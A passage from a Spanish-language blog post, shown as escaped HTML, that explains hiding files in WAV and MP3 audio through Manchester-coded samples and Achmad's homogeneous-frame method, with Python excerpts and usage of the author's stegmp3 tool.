&gt;.r =&lt;/span&gt;&lt;span style="color: rgb(0, 110, 40);font-size:85%;" &gt;self&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:85%;" &gt;.r + &lt;/span&gt;&lt;span style="color: rgb(176, 128, 0);font-size:85%;" &gt;1&lt;/span&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:85%;" &gt;        &lt;b&gt;else&lt;/b&gt;: &lt;/span&gt;&lt;span style="color: rgb(136, 135, 134);font-size:85%;" &gt;&lt;i&gt;# To avoid an index out of bounds in the last few samples.&lt;/i&gt;&lt;/span&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:85%;" &gt;            &lt;b&gt;for&lt;/b&gt; i in &lt;/span&gt;&lt;span style="color: rgb(0, 87, 174);font-size:85%;" &gt;range&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:85%;" &gt;(startPosition, &lt;/span&gt;&lt;span style="color: rgb(0, 110, 40);font-size:85%;" &gt;/&lt;br /&gt;self&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:85%;" &gt;.hostFileSound.length(unit=&lt;/span&gt;&lt;span style="color: rgb(191, 3, 3);font-size:85%;" &gt;'SAMPLES'&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:85%;" &gt;)):&lt;/span&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:85%;" &gt;                &lt;b&gt;if&lt;/b&gt; (track == RIGHT):&lt;/span&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:85%;" &gt;                    &lt;/span&gt;&lt;span style="color: rgb(0, 110, 40);font-size:85%;" &gt;self&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:85%;" &gt;.hostFileSound.sample(i, right = /&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(0, 110, 40);font-size:85%;" &gt;self&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:85%;" &gt;.modified_values[&lt;/span&gt;&lt;span style="color: rgb(0, 110, 40);font-size:85%;" &gt;self&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:85%;" &gt;.r][RIGHT])&lt;/span&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:85%;" &gt;                &lt;b&gt;else&lt;/b&gt;:&lt;/span&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:85%;" &gt;                    &lt;/span&gt;&lt;span style="color: rgb(0, 110, 40);font-size:85%;" &gt;self&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:85%;" &gt;.hostFileSound.sample(i, left = &lt;/span&gt;&lt;span style="color: rgb(0, 110, 40);font-size:85%;" &gt;/&lt;br /&gt;self&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:85%;" &gt;.modified_values[&lt;/span&gt;&lt;span style="color: rgb(0, 110, 40);font-size:85%;" &gt;self&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:85%;" &gt;.r][LEFT])&lt;/span&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:85%;" &gt;                &lt;/span&gt;&lt;span style="color: rgb(0, 110, 40);font-size:85%;" &gt;self&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:85%;" &gt;.r =&lt;/span&gt;&lt;span style="color: rgb(0, 110, 40);font-size:85%;" &gt;self&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:85%;" &gt;.r + &lt;/span&gt;&lt;span style="color: rgb(176, 128, 0);font-size:85%;" &gt;1&lt;/span&gt;&lt;/pre&gt;&lt;br /&gt;Hay que señalar dos variables muy importantes en la función anter&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;ior: por un lado &lt;span style="font-style: italic;"&gt;self.step_range&lt;/span&gt; que define el ancho de un pulso Mánchester (p.ej, un 1 codificado en Mánchester con un step_range 4 se compondría de 2 muestras de nivel bajo y 2 de nivel alto);  la otra variable importante es &lt;span style="font-style: italic;"&gt;self.delta&lt;/span&gt; en la que se define la diferencia de niveles entre muestras bajas y altas en la codificación Mánchester. La anomalía percibible será mayor conforme lo sean los valores tanto de step_range y delta ya que suponen una mayor deformación de la señal original. A nivel teórico, el step_range puede ser perfectamente 2 y el delta 1, pero en la realidad eso puede dar problemas ya que exigiría una precisión milimétrica en la toma de muestras y en su valoración en el extremo receptor a la hora de reconstruir el mensaje oculto. Si el fichero portador se va a transportar en su formato .wav es prob&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;able que n&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;o haya problema en la extracción del mensaje oculto. Sin embargo, si la idea es grabar ese wav en un CD para hacerlo pasar por un CD de música clásico luego será necesaria la recodificación en formato wav, por lo que pueden producirse pérdidas de muestras aún procurando que las frecuencias de muestreo de todas esas conversiones son las mismas. En este último caso, resulta altamente recomendable aumentar tanto el step_range como el delta al máximo tolerable para asegurar que los pulsos Manchester siguen siendo percibibles después de todas esas conversiones.&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;No voy a perder tiempo explicando el proceso de extracción de un fichero escondido ya que este proceso es exactamente el recíproco al que hemos cisto hasta ahora.&lt;br /&gt;&lt;br /&gt;Si utilizásemos un fichero comprimido con un algoritmos &lt;span style="font-weight: bold;"&gt;con pérdi&lt;/span&gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;&lt;span style="font-weight: bold;"&gt;das&lt;/span&gt; (mucho más común), como por ejemplo un MP3, la técnica anterior no valdría ya que estos los algoritmos de compresión  realizan un muestreo de la señal original y descartan porciones de esta por lo que si en esos fragmentos hay información escondida nos resultará imposible reconstruir el mensaje original. En esos casos, resulta obligado estudiar el algoritmo de compresión utilizado en el fichero concreto que queremos utilizar de portadora para encontrar una manera de esconder datos.&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;En el caso de fichero MP3 tenemos dos opciones: la primera es trabajar en el dominio de la frecuencia y la segunda aprovechar particularidades del formato de los archivos MP3.&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;El primer caso es el más académico y complejo. El formato MP3 elige las frecuencias más altas a la hora de descartar. Se basa en que el oído humano común sólo puede percibir las frecuencias más bajas del espectro de frecuencias por lo que eliminar la información referente a las bandas altas permitiría reducir el volumen de datos de los ficheros de sonido sin empeorar sensiblemente su calidad. Aún así, hay gente con un oído particularmente sensible que sí que nota la ausencia de las frecuencias altas y que prefiere utilizar al&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;goritmos sin pérdidas como el WAV (por lo general es la misma gente que se quejó de la pérdida de calidad del sonido de los CD respecto de los vinilos :-P ). Un algoritmo esteganográfico que supi&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;ese distinguir unas frecuencias de otras y se centrase en trabajar sólo con las frecuencias bajas podría esconder sus datos sin temor de que el algoritmo de compresión se llevase por delante parte del mensaje oculto. Este enfoque es el seguido por herramientas como &lt;a href="http://www.petitcolas.net/fabien/steganography/mp3stego/index.html"&gt;mp3stego&lt;/a&gt;.&lt;/span&gt; &lt;span style="color: rgb(0, 0, 0);"&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;El segundo caso es quizás más sencillo e inmediato. Y es el enfoque usado por algoritmos como el de &lt;/span&gt;&lt;a style="color: rgb(0, 0, 153);" href="http://achmadz.blogspot.com/2008/06/mp3stegz-algorithm.html"&gt;Achmad&lt;/a&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;. El &lt;a href="http://en.wikipedia.org/wiki/MP3"&gt;formato MP3&lt;/a&gt; es muy sencillo. Un fichero MP3 es una mera sucesión de &lt;/span&gt;&lt;span style="font-style: italic; color: rgb(0, 0, 0);"&gt;frames&lt;/span&gt; independientes entra si. Cada uno de estos frames tiene su propia cabecera, sus propios campos independientes del resto de los frames y recoge la información  referida a un instante determinado del sonido grabado. Los lectores de MP3 se limitan&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; a leer y volcar el contenido de los frames uno detrás de otro hasta que ya no quedan más en el archivo. La importancia de la independencia de estos frames entre si radica en que se pueden eliminar  e introducir otros nuevos a voluntad sin que el fichero quede inutilizable.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size:78%;"&gt;&lt;span style="font-style: italic;"&gt;(Pinche en la imagen siguiente para ver el diagrama con mayor resolución)&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_czXkQpCMagk/S6Pzn7T4jZI/AAAAAAAAAL8/ppFCaYyRhI8/s1600-h/2000px-Mp3filestructure.svg.png"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 414px; height: 181px;" src="http://1.bp.blogspot.com/_czXkQpCMagk/S6Pzn7T4jZI/AAAAAAAAAL8/ppFCaYyRhI8/s400/2000px-Mp3filestructure.svg.png" alt="" id="BLOGGER_PHOTO_ID_5450467841309969810" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;&lt;br /&gt;Como se puede ver en el diagrama anterior, cada frame va señalado en su comienzo por una secuencia xFFF, el resto de los campos le dicen al lector de MP3 cómo debe hacer el sonido contenido en el campo de datos.&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;El algoritmo de Achmad saca partido de los denominados &lt;span style="font-style: italic;"&gt;frames homogéneos&lt;/span&gt; que codifican los silencios infinitesimales que se dan entre unos sonidos y otros. Un frame homogéneo puede tener cualquier contenido en su campo de datos y el lector que lo lea siempre lanzará un silencio. De esta manera, el algoritmo Achmad localiza los frames homogéneos de un fichero y graba en ello el mensaje a ocultar. Para encontrar estos frames sólo hay que buscar aquellos que tienen los  bytes a partir del 36 de cada frame fijados a un mismo valor. El cam&lt;/span&gt; &lt;span style="color: rgb(0, 0, 0);"&gt;po de datos comienza en el byte número 36 de este tipo de frames y es ahí donde se puede esconder nuestro mensaje.&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;&lt;br /&gt;&lt;span style="font-size:78%;"&gt;&lt;span style="font-style: italic;"&gt;(Pinche en la imagen siguiente para ver el diagrama con mayor resolución)&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;pre&gt;&lt;pre&gt;&lt;pre&gt;&lt;pre&gt;&lt;pre&gt;&lt;pre&gt;&lt;span&gt;&lt;span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;&lt;span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;&lt;span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;&lt;span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;&lt;span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;&lt;span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;&lt;span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_czXkQpCMagk/S6V0UsWYlXI/AAAAAAAAAMk/RwCEncafUJc/s1600-h/frame_homogeneo_blogger.png"&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 403px; height: 221px;" src="http://2.bp.blogspot.com/_czXkQpCMagk/S6V0UsWYlXI/AAAAAAAAAMk/RwCEncafUJc/s400/frame_homogeneo_blogger.png" alt="" id="BLOGGER_PHOTO_ID_5450890822853105010" border="0" /&gt;&lt;/span&gt;&lt;/a&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;/pre&gt;&lt;/pre&gt;&lt;/pre&gt;&lt;/pre&gt;&lt;/pre&gt;&lt;/pre&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;En la imagen anterior se puede ver el contenido hexadecimal de un fichero MP3 y resaltado un frame homogeneo. En dicha imagen salta a la vista que a partir del byte 36 todos los demás tienen el valor OxFF lo que significa que son homogéneos.&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;El algoritmo Achmad, en su concepción original, cuenta con la ventaja de que no altera el tamaño del fichero y no introduce anomalía alguna en el fichero de sonido por lo que es difícilmente detectable. Por otro lado presenta el inconveniente de que el tamaño del mensaje que se puede ocultar está limitado por el número y tamaño de los frames homogéneos del fichero de sonido elegido como portadora. Para ilustrar este algoritmo, programé una pequeña aplicación denominada &lt;a href="http://danteslab-files.googlecode.com/files/stegmp3.zip"&gt;stegmp3&lt;/a&gt; que implementa el algoritmo de Ach&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;mad y que incorpora como novedad sobre este la posibilidad de introducir frames homogéneos adicionales con el fin de ocultar ficheros de cualquier tamaño. El precio de esta innovación con respecto al algoritmo original es que si el tamaño del fichero a ocultar es demasiado grande y por ello hay que generar muchos frames homogéneos adicionales la anomalía comienza a ser perceptible en forma de silencios intercalados. Vamos a estudiar con más detalle cómo funciona stegmp3.&lt;br /&gt;&lt;br /&gt;Para empezar, su uso es exactamente igual que el de stegaudio. Así, para ocultar un fichero no habría más que teclear:&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;&lt;span style="font-size:85%;"&gt;&lt;blockquote&gt;$ ./stegmp3.py -i fichero_mp3_original.mp3 -d fichero_a_ocultar -o fichero_mp3_portador.mp3&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size:100%;"&gt;&lt;br /&gt;Y para extraerlo:&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;&lt;span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;&lt;span style="font-size:85%;"&gt;&lt;blockquote&gt;$ ./stegmp3.py -x fichero_mp3_portador.mp3 -d fichero_rescatado&lt;/blockquote&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size:100%;"&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Cuando se llama a stegmp3 este comienza creando un objeto &lt;span style="font-style: italic;font-size:100%;" &gt;MP3HostFile&lt;/span&gt;&lt;span style="font-size:100%;"&gt;, el cual analiza en su constructor el fichero mp3 que se ha pasado como parámetro con el fin de sacar una lista con todos los frames presentes en el fichero (mediante la llamada a &lt;/span&gt;&lt;span style="font-style: italic;font-size:100%;" &gt;getFrames()&lt;/span&gt;&lt;span style="font-size:100%;"&gt; ). Luego esa lista se utiliza 0 bien para localizar frames homogéneos (mediante la llamada a &lt;/span&gt;&lt;span style="font-style: italic;font-size:100%;" &gt;searchForHomogenousFrames()&lt;/span&gt;&lt;span style="font-size:100%;"&gt; ), o bien para buscar frames con datos ocultos (mediante &lt;/span&gt;&lt;span style="font-style: italic;font-size:100%;" &gt;searchForHostFrames()&lt;/span&gt;&lt;span style="font-size:100%;"&gt; ) si el programa se usa para extracción.&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;&lt;span style="font-size:100%;"&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;&lt;span style="font-size:100%;"&gt;&lt;br /&gt;La extracción de los diferentes frames con &lt;/span&gt;&lt;span style="font-style: italic;font-size:100%;" &gt;getFrames()&lt;/span&gt;&lt;span style="font-size:100%;"&gt; es relativamente fácil gracias a la marca OxFF que hay al principio de cada uno.&lt;br /&gt;&lt;br /&gt;En cuanto a &lt;span style="font-style: italic;"&gt;searchForHomogeneousFrames()&lt;/span&gt; examina cada uno de los frames que &lt;span style="font-style: italic;"&gt;getFrames()&lt;/span&gt; ha depositado en una lista al efecto:&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(20, 19, 18);font-size:85%;" &gt;&lt;b&gt;def&lt;/b&gt; searchForHomogeneousFrames(&lt;/span&gt;&lt;span style="color: rgb(0, 110, 40);font-size:85%;" &gt;self&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:85%;" &gt;):&lt;/span&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(136, 135, 134);font-size:85%;" &gt;&lt;i&gt;        """This function examines frames stored in our list and /&lt;br /&gt;finds out which of them are homogeneous."""&lt;/i&gt;&lt;/span&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:85%;" &gt;        &lt;/span&gt;&lt;span style="color: rgb(0, 110, 40);font-size:85%;" &gt;self&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:85%;" &gt;.homogeneous_frame = FALSE&lt;/span&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:85%;" &gt;        &lt;/span&gt;&lt;span style="color: rgb(0, 110, 40);font-size:85%;" &gt;self&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:85%;" &gt;.first_homogeneous_frame_found = FALSE&lt;/span&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:85%;" &gt;        &lt;/span&gt;&lt;span style="color: rgb(0, 110, 40);font-size:85%;" &gt;self&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:85%;" &gt;.counter = &lt;/span&gt;&lt;span style="color: rgb(176, 128, 0);font-size:85%;" &gt;0&lt;/span&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:85%;" &gt;        &lt;b&gt;if&lt;/b&gt; (&lt;/span&gt;&lt;span style="color: rgb(0, 110, 40);font-size:85%;" &gt;self&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:85%;" &gt;.originalMP3FileName==&lt;/span&gt;&lt;span style="color: rgb(0, 110, 40);font-size:85%;" &gt;None&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:85%;" &gt;):&lt;/span&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:85%;" &gt;            &lt;b&gt;print&lt;/b&gt; &lt;/span&gt;&lt;span style="color: rgb(191, 3, 3);font-size:85%;" &gt;"Searching for frames marked with signature..."&lt;/span&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:85%;" &gt;        &lt;b&gt;else&lt;/b&gt;:&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(20, 19, 18);font-size:85%;" &gt;            &lt;b&gt;print&lt;/b&gt; &lt;/span&gt;&lt;span style="color: rgb(191, 3, 3);font-size:85%;" &gt;"Searching for homogeneous frames..."&lt;/span&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:85%;" &gt;        &lt;b&gt;for&lt;/b&gt; frame in &lt;/span&gt;&lt;span style="color: rgb(0, 110, 40);font-size:85%;" &gt;self&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:85%;" &gt;.frame_list:&lt;/span&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:85%;" &gt;            &lt;b&gt;for&lt;/b&gt; index in &lt;/span&gt;&lt;span style="color: rgb(0, 87, 174);font-size:85%;" &gt;range&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:85%;" &gt;(DATA_OFFSET, frame.size-&lt;/span&gt;&lt;span style="color: rgb(176, 128, 0);font-size:85%;" &gt;1&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:85%;" &gt;):&lt;/span&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:85%;" &gt;                &lt;b&gt;if&lt;/b&gt; not (struct.unpack(&lt;/span&gt;&lt;span style="color: rgb(191, 3, 3);font-size:85%;" &gt;'=B'&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:85%;" &gt;,  frame.data[index])[&lt;/span&gt;&lt;span style="color: rgb(176, 128, 0);font-size:85%;" &gt;0&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:85%;" &gt;]) == /&lt;br /&gt;(struct.unpack(&lt;/span&gt;&lt;span style="color: rgb(191, 3, 3);font-size:85%;" &gt;'=B'&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:85%;" &gt;, frame.data[index+&lt;/span&gt;&lt;span style="color: rgb(176, 128, 0);font-size:85%;" &gt;1&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:85%;" &gt;])[&lt;/span&gt;&lt;span style="color: rgb(176, 128, 0);font-size:85%;" &gt;0&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:85%;" &gt;]):&lt;/span&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:85%;" &gt;                    &lt;/span&gt;&lt;span style="color: rgb(0, 110, 40);font-size:85%;" &gt;self&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:85%;" &gt;.homogeneous_frame = FALSE&lt;/span&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:85%;" &gt;                    &lt;b&gt;break&lt;/b&gt;&lt;/span&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:85%;" &gt;                &lt;b&gt;else&lt;/b&gt;:&lt;/span&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:85%;" &gt;                    &lt;/span&gt;&lt;span style="color: rgb(0, 110, 40);font-size:85%;" &gt;self&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:85%;" &gt;.homogeneous_frame = TRUE&lt;/span&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:85%;" &gt;            &lt;b&gt;if&lt;/b&gt; &lt;/span&gt;&lt;span style="color: rgb(0, 110, 40);font-size:85%;" &gt;self&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:85%;" &gt;.homogeneous_frame:&lt;/span&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:85%;" &gt;                (&lt;/span&gt;&lt;span style="color: rgb(0, 110, 40);font-size:85%;" &gt;self&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:85%;" &gt;.frame_list[&lt;/span&gt;&lt;span style="color: rgb(0, 110, 40);font-size:85%;" &gt;self&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:85%;" &gt;.frame_list.index(frame)])./&lt;br /&gt;homogeneous = TRUE&lt;/span&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:85%;" &gt;                &lt;/span&gt;&lt;span style="color: rgb(0, 110, 40);font-size:85%;" &gt;self&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:85%;" &gt;.homogeneous_frame = FALSE&lt;/span&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:85%;" &gt;                &lt;/span&gt;&lt;span style="color: rgb(0, 110, 40);font-size:85%;" &gt;self&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:85%;" &gt;.counter += &lt;/span&gt;&lt;span style="color: rgb(176, 128, 0);font-size:85%;" &gt;1&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(20, 19, 18);font-size:85%;" &gt;                &lt;/span&gt;&lt;span style="color: rgb(136, 135, 134);font-size:85%;" &gt;&lt;i&gt;#We are not going to use first homogenous /&lt;br /&gt;frame to store data. We are going to store hidden&lt;/i&gt;&lt;/span&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:85%;" &gt;                &lt;/span&gt;&lt;span style="color: rgb(136, 135, 134);font-size:85%;" &gt;&lt;i&gt;#data size instead. So we don't count this /&lt;br /&gt;frame as usable.&lt;/i&gt;&lt;/span&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:85%;" &gt;                &lt;b&gt;if&lt;/b&gt; &lt;/span&gt;&lt;span style="color: rgb(0, 110, 40);font-size:85%;" &gt;self&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:85%;" &gt;.first_homogeneous_frame_found: &lt;/span&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:85%;" &gt;                    &lt;/span&gt;&lt;span style="color: rgb(0, 110, 40);font-size:85%;" &gt;self&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:85%;" &gt;.maximum_size_for_hiding += /&lt;br /&gt;(&lt;/span&gt;&lt;span style="color: rgb(0, 110, 40);font-size:85%;" &gt;self&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:85%;" &gt;.frame_list[&lt;/span&gt;&lt;span style="color: rgb(0, 110, 40);font-size:85%;" &gt;self&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:85%;" &gt;.frame_list.index(frame)]).size - /&lt;br /&gt;DATA_OFFSET - &lt;/span&gt;&lt;span style="color: rgb(0, 110, 40);font-size:85%;" &gt;self&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:85%;" &gt;.signature_length&lt;/span&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:85%;" &gt;                &lt;b&gt;else&lt;/b&gt;:&lt;/span&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:85%;" &gt;                    &lt;/span&gt;&lt;span style="color: rgb(0, 110, 40);font-size:85%;" &gt;self&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:85%;" &gt;.first_homogeneous_frame_found = TRUE&lt;/span&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:85%;" &gt;                sys.stdout.write(&lt;/span&gt;&lt;span style="color: rgb(191, 3, 3);font-size:85%;" &gt;"|"&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:85%;" &gt;)&lt;/span&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:85%;" &gt;                sys.stdout.flush()&lt;/span&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:85%;" &gt;            &lt;b&gt;else&lt;/b&gt;:&lt;/span&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:85%;" &gt;                sys.stdout.write(&lt;/span&gt;&lt;span style="color: rgb(191, 3, 3);font-size:85%;" &gt;"X"&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:85%;" &gt;)&lt;/span&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:85%;" &gt;                sys.stdout.flush()&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(20, 19, 18);font-size:85%;" &gt;        &lt;/span&gt;&lt;span style="color: rgb(0, 110, 40);font-size:85%;" &gt;self&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:85%;" &gt;.maximum_size_for_hiding -= /&lt;br /&gt;STEGMP3_HEADER_SIZE&lt;/span&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:85%;" &gt;        